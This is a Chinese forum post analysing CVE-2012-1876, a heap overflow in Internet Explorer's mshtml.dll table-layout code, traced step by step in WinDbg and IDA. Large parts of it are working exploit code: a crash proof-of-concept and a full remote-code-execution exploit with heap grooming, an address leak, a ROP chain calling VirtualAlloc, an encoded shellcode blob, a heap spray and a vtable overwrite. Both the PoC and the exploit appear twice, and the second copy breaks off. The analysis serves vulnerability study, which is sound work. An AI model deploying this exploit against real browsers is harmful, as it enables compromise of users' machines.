-
-
[原创]Internet Explorer漏洞分析(一)——CVE-2012-1876
-
发表于: 2021-2-10 10:51 8380
-
mshtml.dll中CTableLayout::CalculateMinMax
函数在循环向缓冲区(堆分配内存)写入数据时,未校验控制循环次数的<col>
标签span
属性值,故可通过精心构造span
属性值造成堆溢出,进而实现RCE。
Microsoft Internet Explorer 6—9,10 Consumer Preview
使用gflags.exe
为iexplore.exe
开启页堆:
WinDbg打开iexplore.exe
后,通过.childdbg 1
命令启用子进程调试。运行并打开poc.html
:
允许活动内容运行:
崩溃点如下:
WinDbg重新打开iexplore.exe
,运行。当子进程创建完成时,sxe ld mshtml.dll
设置mshtml.dll
模块加载异常:
模块已加载,可拍摄快照,方便后续分析:
IDA定位到函数CTableColCalc::AdjustForCol
引发crash处:
向上回溯查看esi
于何处赋值(调用该函数仅CTableLayout::CalculateMinMax+F55F
一处,故可直接在IDA中定位):
由上图可以看出其值为[ebx+9Ch]
,该地址处值由何而来需结合WinDbg动态调试以确定。恢复快照至已加载mshtml.dll,bp 6368CD39
设断于call CTableColCalc::AdjustForCol
处,成功断下后,查看堆块信息:
再次恢复快照,bp 6367d7da
于CTableLayout::CalculateMinMax
起始位置设断,断下后bp 635D28F6
于call CImplAry::EnsureSizeWorker
处设断,跟进分析:
可以看出其分配大小确为0x70,之后跟进mshtml!_HeapRealloc
查看其分配地址:
向上回溯,edi
指向ebx+90h
:
如此一来,HeapAlloc
函数返回值——即分配堆块地址写入[ebx+9Ch]
。至此,crash处edi
由何而来已分析完成。而写入数据为width*100
(具体计算过程见CWidthUnitValue::GetPixelWidth
函数):
crash处ecx
值为(width*100)<<4+9
,最终内容要减1:
上述内容仅是追溯写入位置与写入值如何计算及传递,下面将分析其执行流。
CTableLayout::CalculateMinMax
第一个参数是用于存储<table>
标签的CTableLayout
对象:
而[ebx+54h]
存储所有<col>
标签的<span>
属性值之和(可记为span_sum
):
执行到0x6367D8EF
处,从ebx+94h
位置取出值,右移2位,与span_sum
进行比较:
如上图所示,再经过两次比较,都满足条件才会call CImplAry::EnsureSizeWorker
。若span_sum
小于4,则直接分配0x70
大小堆块;不小于4,则分配0x1C*span_sum
大小堆块:
分配结束后,会向ebx+98h
位置写入span_sum
:
向ebx+94h
位置写入span_sum<<2
:
如此一来,第二次执行CTableLayout::CalculateMinMax
便不会调用CImplAry::EnsureSizeWorker
重新分配内存,而是直接使用上次分配堆块进行写入——修改后的span
属性值大于修改前span
属性值,以此span
值作为循环计数,之前分配堆块大小明显无法容纳,此时便会造成堆溢出。
下面是打开POC并允许活动内容运行后由0x6367D7DA
至0x6368CD39
两次执行流(可使用wt -l 1 -ns -oR -m mshtml =6367d7da 6368CD39
命令)对比:
第二次执行不会调用CImplAry::EnsureSizeWorker
:
span
属性值最大为0x3E8(即1000):
分析所用exp如下:
第一部分用以申请大量内存并填充字符内容进行堆布局:
其于内存中分布情况(BSTR 'E'
& BSTR 'A'
& BSTR 'B'
& CButtonLayout
):
调用CollectGarbage()
回收完成后,其Len
部分变为0x0000ffff
:
第二部分创建大量col
标签,以占位之前释放堆块:
之后通过
完成第一次溢出(可通过条件断点bp 638209A2 ".if(eax==0x13){};.else{gc;}"
断下后再进一步分析):
而写入位置在每次写入过后会加0x1C
:
0x1C
*0x12
=0x1F8
(0x6368CD4B
处是jl
命令),[EBX+9Ch]+0x1F8+0x18
位置恰为BSTR 'B'
长度:
之后遍历arr
数组,长度大于(0x100-6)/2
元素即为发生溢出位置:
由于该元素长度已被更改为0x10048
,那么可以越界读取其后CButtonLayout
中内容:
转换成十六进制数,减去CButtonLayout::vftable
相较于基址偏移便得到基址:
Exp中偏移与笔者环境中所计算偏移不符:
构造ROP+Shellcode及进行Heap Spray:
其ROP链于笔者环境中并不适用,可用mona.py
重新生成。转换为相对地址可使用如下脚本:
方法为-s 1.txt -d 2.txt -b 1666711552
,其中1.txt
内容如下:
1666711552
是笔者环境中mshtml.dll
基址十进制值。
第二次溢出:
写入发生于第28次循环,对应指令为0x6368CD98
处mov [esi+8], ebx
,写入前:
写入完成后调用该虚表指针时即可控制执行流。
最后,总结下利用思路:Heap Spray—>释放内存—><col>
占位—>堆溢出(更改BSTR长度位)—>"越界读"虚表指针,计算mshtml.dll
基址—>Heap Spray(布局ROP+Shellcode)—>堆溢出(更改虚表指针到ROP+Shellcode地址)
<html>
<body>
<table style
=
"table-layout:fixed"
>
<col
id
=
"132"
width
=
"41"
span
=
"1"
>  <
/
col>
<!
-
-
The <col> tag specifies column properties
for
each column within a <colgroup> element
-
-
>
<!
-
-
width:Specifies the width of a <col> element
-
-
>
<!
-
-
span:Specifies the number of columns a <col> element should span
-
-
>
<
/
table>
<script>
function over_trigger() {
var obj_col
=
document.getElementById(
"132"
);
obj_col.width
=
"42765"
;
obj_col.span
=
1000
;
}
setTimeout(
"over_trigger();"
,
1
);
/
/
The setTimeout() method calls a function
or
evaluates an expression after a specified number of milliseconds
<
/
script>
<
/
body>
<
/
html>
<html>
<body>
<table style
=
"table-layout:fixed"
>
<col
id
=
"132"
width
=
"41"
span
=
"1"
>  <
/
col>
<!
-
-
The <col> tag specifies column properties
for
each column within a <colgroup> element
-
-
>
<!
-
-
width:Specifies the width of a <col> element
-
-
>
<!
-
-
span:Specifies the number of columns a <col> element should span
-
-
>
<
/
table>
<script>
function over_trigger() {
var obj_col
=
document.getElementById(
"132"
);
obj_col.width
=
"42765"
;
obj_col.span
=
1000
;
}
setTimeout(
"over_trigger();"
,
1
);
/
/
The setTimeout() method calls a function
or
evaluates an expression after a specified number of milliseconds
<
/
script>
<
/
body>
<
/
html>
<html>
<body>
<div
id
=
"test"
><
/
div>
<script language
=
'javascript'
>
var leak_index
=
-
1
;
var dap
=
"EEEE"
;
while
( dap.length <
480
) dap
+
=
dap;
var padding
=
"AAAA"
;
while
( padding.length <
480
) padding
+
=
padding;
var filler
=
"BBBB"
;
while
( filler.length <
480
) filler
+
=
filler;
/
/
spray
var arr
=
new Array();
var rra
=
new Array();
var div_container
=
document.getElementById(
"test"
);
div_container.style.cssText
=
"display:none"
;
for
(var i
=
0
; i <
500
; i
+
=
2
) {
/
/
E
rra[i]
=
dap.substring(
0
, (
0x100
-
6
)
/
2
);
/
/
S, bstr
=
A
arr[i]
=
padding.substring(
0
, (
0x100
-
6
)
/
2
);
/
/
A, bstr
=
B
arr[i
+
1
]
=
filler.substring(
0
, (
0x100
-
6
)
/
2
);
/
/
B
var obj
=
document.createElement(
"button"
);
div_container.appendChild(obj);
}
for
(var i
=
200
; i<
500
; i
+
=
2
) {
rra[i]
=
null;
CollectGarbage();
}
<
/
script>
<table style
=
"table-layout:fixed"
><col
id
=
"0"
width
=
"41"
span
=
"9"
>  <
/
col><
/
table>
<table style
=
"table-layout:fixed"
><col
id
=
"1"
width
=
"41"
span
=
"9"
>  <
/
col><
/
table>
...
<table style
=
"table-layout:fixed"
><col
id
=
"132"
width
=
"41"
span
=
"9"
>  <
/
col><
/
table>
<script language
=
'javascript'
>
var obj_col
=
document.getElementById(
"132"
);
obj_col.span
=
19
;
function over_trigger()
{
var leak_addr
=
-
1
;
for
( var i
=
0
; i <
500
; i
+
+
)
{
if
( arr[i].length > (
0x100
-
6
)
/
2
)
{
/
/
overflowed
leak_index
=
i;
var leak
=
arr[i].substring((
0x100
-
6
)
/
2
+
(
2
+
8
)
/
2
, (
0x100
-
6
)
/
2
+
(
2
+
8
+
4
)
/
2
);
leak_addr
=
parseInt( leak.charCodeAt(
1
).toString(
16
)
+
leak.charCodeAt(
0
).toString(
16
),
16
);
mshtmlbase
=
leak_addr
-
Number(
0x001582b8
);
alert(mshtmlbase);
break
;
}
}
if
( leak_addr
=
=
-
1
|| leak_index
=
=
-
1
)
{
alert(
"memory leak failed...."
);
}
/
/
return
mshtmlbase;
}
/
/
A very special heap spray
function heap_spray()
{
CollectGarbage();
var heapobj
=
new
Object
();
/
/
generated with mona.py (mshtml.dll v)
function rop_chain(mshtmlbase)
{
var arr
=
[
mshtmlbase
+
Number(
0x00001031
),
mshtmlbase
+
Number(
0x00002c78
),
/
/
pop ebp; retn
mshtmlbase
+
Number(
0x0001b4e3
),
/
/
xchg eax,esp; retn (pivot)
mshtmlbase
+
Number(
0x00352c8b
),
/
/
pop eax; retn
mshtmlbase
+
Number(
0x00001340
),
/
/
ptr to &VirtualAlloc() [IAT]
mshtmlbase
+
Number(
0x00124ade
),
/
/
mov eax,[eax]; retn
mshtmlbase
+
Number(
0x000af93e
),
/
/
xchg eax,esi;
and
al,
0
; xor eax,eax; retn
mshtmlbase
+
Number(
0x00455a9c
),
/
/
pop ebp; retn
mshtmlbase
+
Number(
0x00128b8d
),
/
/
& jmp esp
mshtmlbase
+
Number(
0x00061436
),
/
/
pop ebx; retn
0x00000001
,
/
/
0x00000001
-
> ebx
mshtmlbase
+
Number(
0x0052d8a3
),
/
/
pop edx; retn
0x00001000
,
/
/
0x00001000
-
> edx
mshtmlbase
+
Number(
0x00003670
),
/
/
pop ecx; retn
0x00000040
,
/
/
0x00000040
-
> ecx
mshtmlbase
+
Number(
0x001d263d
),
/
/
pop edi; retn
mshtmlbase
+
Number(
0x000032ac
),
/
/
retn
mshtmlbase
+
Number(
0x00352c9f
),
/
/
pop eax; retn
0x90909090
,
/
/
nop
mshtmlbase
+
Number(
0x0052e805
),
/
/
pushad; retn
0x90909090
,
0x90909090
,
0x90909090
,
0x90909090
,
0x90909090
,
];
return
arr;
}
function d2u(dword)
{
var uni
=
String.fromCharCode(dword &
0xFFFF
);
uni
+
=
String.fromCharCode(dword>>
16
);
return
uni;
}
function tab2uni(heapobj, tab)
{
var uni
=
""
for
(var i
=
0
;i<tab.length;i
+
+
){
uni
+
=
heapobj.d2u(tab[i]);
}
return
uni;
}
heapobj.tab2uni
=
tab2uni;
heapobj.d2u
=
d2u;
heapobj.rop_chain
=
rop_chain;
var code
=
unescape(
"%u40b0%u414b%u1d24%ub4a8%u7799%ube37%ua947%ud41a%u353f%ueb30%ud133%u2ae1%u31e0%ue2d3%u1514%ufd13%u3497%u7a7b%ufc39%u92ba%u9390%u0a4e%ubbf5%u8db2%ue385%uf823%ud53a%u0448%u750d%ud632%u707c%u4642%u7e78%ub12c%u2f98%u1c3c%u727e%u3b7b%u4fe0%ue38c%u4f76%u81b0%u2de2%u35ba%u86bb%u67f8%u8d0c%u9190%u7574%u7f71%u7d3c%u9f15%ub347%ud50b%u784e%u4970%u1b37%uc1ff%uc6fe%uc0c7%ub6d4%u9246%ub4b1%uf588%ua91d%u7c4b%u2548%u7a99%u9b3d%u01b7%u34eb%u1cb5%u38a8%ub8fc%ud609%ube4a%u9714%ue121%ub904%u42b2%u7796%u6924%u80f9%u0dfd%u412c%u2f05%u273f%ubf40%u9893%u7343%u6679%u77a8%ub63f%u7472%u707b%u843d%uebd2%uf630%ubfd5%u71b2%u757a%u1848%u0cf5%u96b7%uf889%u764a%u9b2d%u92b0%u66be%u7d97%ub425%u9114%u4904%uba34%u421c%ue308%uf902%u4140%u4773%u0d27%u93b5%u2299%u1dd4%u7c4f%u2867%u98fc%u2c24%ue212%ufd03%u78a9%u3505%u8390%u2fe0%u4337%u154b%u468d%u79b9%u297f%ubbd6%u197e%u4ee1%u9fb8%ub1b3%u4a3c%u7a7d%u7679%u4670%u2091%u74e1%ub043%u4e71%ub590%u75b7%u983c%u4bb3%ud687%uf86b%u9b40%u117f%ud1f7%u7bf9%u152f%u3427%u1d92%u3d97%u2d49%u720d%u014f%u7ce0%u3105%u10eb%u35f5%ub4b6%u1c2c%u93b2%u4704%ud52b%ubbb1%ue389%u4137%u7e78%u733f%u7742%u2925%ufcd0%u6624%u8dba%u67b9%u1a96%ua8fd%ua9be%ud40b%u4899%u9f14%u87bf%ue2f7%ub80c%u903d%u14b0%u25bb%u7d96%u1a7f%u79f5%uf809%u347c%u7b91%u4e47%ueb81%ue122%ud41b%u7074%ub21d%u2d72%u928d%ub3b1%ua905%u71b4%u4b0c%u9343%u0d76%u989f%u84b5%ub7d5%u4666%ube40%ub8bf%u201c%u48e2%u4a73%u6b2c%u2afc%u04e0%u4941%u3777%u10ba%u7ed6%u332f%ub9fd%u7a9b%u7875%u2415%u1299%uf9d2%u3f97%ub63c%u3567%u27a8%ue386%u7742%u4f73%ue380%ua93c%u757c%uf62b%ud0c0%u27e0%u214b%ue1d3%ub93f%u157d%u8c14%ue2c1%u9904%u7498%u7071%u6637%ueb28%u4e1c%u7fb6%u357b%u3297%u25d4%uf569%u9105%u4047%u0224%u78d6%u7941%uba3d%u49b1%u7276%u1d2f%u85bf%u67fc%u7e92%u4a2c%u7ab4%u1348%u93d5%u8d9b%u03bb%u74fd%u0879%u43e1%ue083%u1873%u46e3%u2372%ub2f8%u88b0%ub8f9%u969f%u75b5%u770c%u7b42%ub72d%u7aa8%ue219%ueb38%ub334%u90be%u4f7e%u0d7f%ub3b6%u3076%ubff5%u479f%u7167%ud40a%u3b7c%u66fc%u41b7%u9615%u3dfd%u3505%ub825%u1c7d%ub54a%u3940%u37d6%u3f92%u971d%u1478%u8d49%ua8b2%u3493%u2c3c%u902f%ud54f%u04a9%u1198%u91f8%ub99b%u9943%ubbb1%u0d70%u4824%u4b0c%ube4e%ub02d%uf93a%u27ba%ub446%udb42%ud9d1%u2474%u5af4%uc929%u49b1%u8cbe%uc04a%u31a0%u1972%uc283%u0304%u1572%ubf6e%u483c%u40e7%u89bd%uc997%ub858%uae85%ue929%ua419%u027c%ue8d2%u9194%u2496%u129a%u131c%ua395%u9b91%u6779%u67b0%ub480%u5912%uc94b%u9e53%u22b6%u7701%u91bc%ufcb5%u2980%ud2b4%u128e%u57ce%ue650%u5964%u5781%u11f3%ud339%u825b%u3038%ufeb8%u3d73%u740a%u9782%u7543%ud7b4%u480f%uda78%u8c4e%u05bf%ue625%ub8c3%u3d3d%u66b9%ua0c8%uec19%u016a%u219b%uc2ec%u8e97%u8c7b%u11bb%ua6a8%u9ac0%u694f%ud841%uad6b%uba09%uf412%u6df7%ue62b%ud150%u6c89%u0672%u2eab%ueb1b%ud081%u63db%ua392%u2ce9%u2c08%ua442%uab96%u9fa5%u236e%u2058%u6d8e%u749f%u05de%uf536%ud5b5%u20b7%u8619%u9b17%u76d9%u4bd8%u9cb1%ub4d7%u9ea1%udd3d%u644b%u22d6%u6723%ucb43%u6831%u579a%u8ebc%u77f6%u19e8%ue16f%ud2b1%uee0e%u9f6c%u6411%u5f82%u8ddf%u73ef%u7d88%u2eba%u811f%u4411%u17a0%ucf9d%u8ff7%u369f%u103f%u1d60%u994b%udef4%ue624%udf18%ub0b4%udf72%u64dc%u8c26%u6af9%ua0f3%uff51%u90fb%ua806%u1e93%u9e70%ue03c%u1e57%u3701%ua49e%u3d73%u64f2"
);
var rop_chain
=
heapobj.tab2uni(heapobj, heapobj.rop_chain(mshtmlbase)) ;
var shellcode
=
rop_chain
+
code
while
(shellcode.length <
100000
)
shellcode
=
shellcode
+
shellcode;
var onemeg
=
shellcode.substr(
0
,
64
*
1024
/
2
);
for
(i
=
0
; i<
14
; i
+
+
)
{
onemeg
+
=
shellcode.substr(
0
,
64
*
1024
/
2
);
}
onemeg
+
=
shellcode.substr(
0
, (
64
*
1024
/
2
)
-
(
38
/
2
));
var spray
=
new Array();
for
(i
=
0
; i<
400
; i
+
+
)
{
spray[i]
=
onemeg.substr(
0
, onemeg.length);
}
}
function smash_vtable()
{
var obj_col_0
=
document.getElementById(
"132"
);
obj_col_0.width
=
"1178993"
;
/
/
smash the vftable
0x07070024
obj_col_0.span
=
"44"
;
/
/
the amount to overwrite
}
var mshtmlbase
=
"";
setTimeout(
"over_trigger();"
,
1
);
setTimeout(
"heap_spray();"
,
400
);
setTimeout(
"smash_vtable();"
,
700
);
<
/
script>
<
/
body>
<
/
html>
<html>
<body>
<div
id
=
"test"
><
/
div>
<script language
=
'javascript'
>
var leak_index
=
-
1
;
var dap
=
"EEEE"
;
while
( dap.length <
480
) dap
+
=
dap;
var padding
=
"AAAA"
;
while
( padding.length <
480
) padding
+
=
padding;
var filler
=
"BBBB"
;
while
( filler.length <
480
) filler
+
=
filler;
/
/
spray
var arr
=
new Array();
var rra
=
new Array();
var div_container
=
document.getElementById(
"test"
);
div_container.style.cssText
=
"display:none"
;
for
(var i
=
0
; i <
500
; i
+
=
2
) {
/
/
E
rra[i]
=
dap.substring(
0
, (
0x100
-
6
)
/
2
);
/
/
S, bstr
=
A
arr[i]
=
padding.substring(
0
, (
0x100
-
6
)
/
2
);
/
/
A, bstr
=
B
arr[i
+
1
]
=
filler.substring(
0
, (
0x100
-
6
)
/
2
);
/
/
B
var obj
=
document.createElement(
"button"
);
div_container.appendChild(obj);
}
for
(var i
=
200
; i<
500
; i
+
=
2
) {
rra[i]
=
null;
CollectGarbage();
}
<
/
script>
<table style
=
"table-layout:fixed"
><col
id
=
"0"
width
=
"41"
span
=
"9"
>  <
/
col><
/
table>
<table style
=
"table-layout:fixed"
><col
id
=
"1"
width
=
"41"
span
=
"9"
>  <
/
col><
/
table>
...
<table style
=
"table-layout:fixed"
><col
id
=
"132"
width
=
"41"
span
=
"9"
>  <
/
col><
/
table>
<script language
=
'javascript'
>
var obj_col
=
document.getElementById(
"132"
);
obj_col.span
=
19
;
function over_trigger()
{
var leak_addr
=
-
1
;
for
( var i
=
0
; i <
500
; i
+
+
)
{
if
( arr[i].length > (
0x100
-
6
)
/
2
)
{
/
/
overflowed
leak_index
=
i;
var leak
=
arr[i].substring((
0x100
-
6
)
/
2
+
(
2
+
8
)
/
2
, (
0x100
-
6
)
/
2
+
(
2
+
8
+
4
)
/
2
);
leak_addr
=
parseInt( leak.charCodeAt(
1
).toString(
16
)
+
leak.charCodeAt(
0
).toString(
16
),
16
);
mshtmlbase
=
leak_addr
-
Number(
0x001582b8
);
alert(mshtmlbase);
break
;
}
}
if
( leak_addr
=
=
-
1
|| leak_index
=
=
-
1
)
{
alert(
"memory leak failed...."
);
}
/
/
return
mshtmlbase;
}
/
/
A very special heap spray
function heap_spray()
{
CollectGarbage();
var heapobj
=
new
Object
();
/
/
generated with mona.py (mshtml.dll v)
function rop_chain(mshtmlbase)
{
var arr
=
[
mshtmlbase
+
Number(
0x00001031
),
mshtmlbase
+
Number(
0x00002c78
),
/
/
pop ebp; retn
mshtmlbase
+
Number(
0x0001b4e3
),
/
/
xchg eax,esp; retn (pivot)
mshtmlbase
+
Number(
0x00352c8b
),
/
/
pop eax; retn
mshtmlbase
+
Number(
0x00001340
),
/
/
ptr to &VirtualAlloc() [IAT]
mshtmlbase
+
Number(
0x00124ade
),
/
/
mov eax,[eax]; retn
mshtmlbase
+
Number(
0x000af93e
),
/
/
xchg eax,esi;
and
al,
0
; xor eax,eax; retn
mshtmlbase
+
Number(
0x00455a9c
),
/
/
pop ebp; retn
mshtmlbase
+
Number(
0x00128b8d
),
/
/
& jmp esp
mshtmlbase
+
Number(
0x00061436
),
/
/
pop ebx; retn
0x00000001
,
/
/
0x00000001
-
> ebx
mshtmlbase
+
Number(
0x0052d8a3
),
/
/
pop edx; retn
0x00001000
,
/
/
0x00001000
-
> edx
mshtmlbase
+
Number(
0x00003670
),
/
/
pop ecx; retn
0x00000040
,
/
/
0x00000040
-
> ecx
mshtmlbase
+
Number(
0x001d263d
),
/
/
pop edi; retn
mshtmlbase
+
Number(
0x000032ac
),
/
/
retn
mshtmlbase
+
Number(
0x00352c9f
),
/
/
pop eax; retn
0x90909090
,
/
/
nop
mshtmlbase
+
Number(
0x0052e805
),
/
/
pushad; retn
0x90909090
,
0x90909090
,
0x90909090
,
0x90909090
,
0x90909090
,
];
return
arr;
}
function d2u(dword)
{
var uni
=
String.fromCharCode(dword &
0xFFFF
);
uni
+
=
String.fromCharCode(dword>>
16
);
return
uni;
}
function tab2uni(heapobj, tab)
{
var uni
=
""
for
(var i
=
0
;i<tab.length;i
+
+
){
uni
+
=
heapobj.d2u(tab[i]);
}
return
uni;
}
heapobj.tab2uni
=
tab2uni;
heapobj.d2u
=
d2u;
heapobj.rop_chain
=
rop_chain;
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!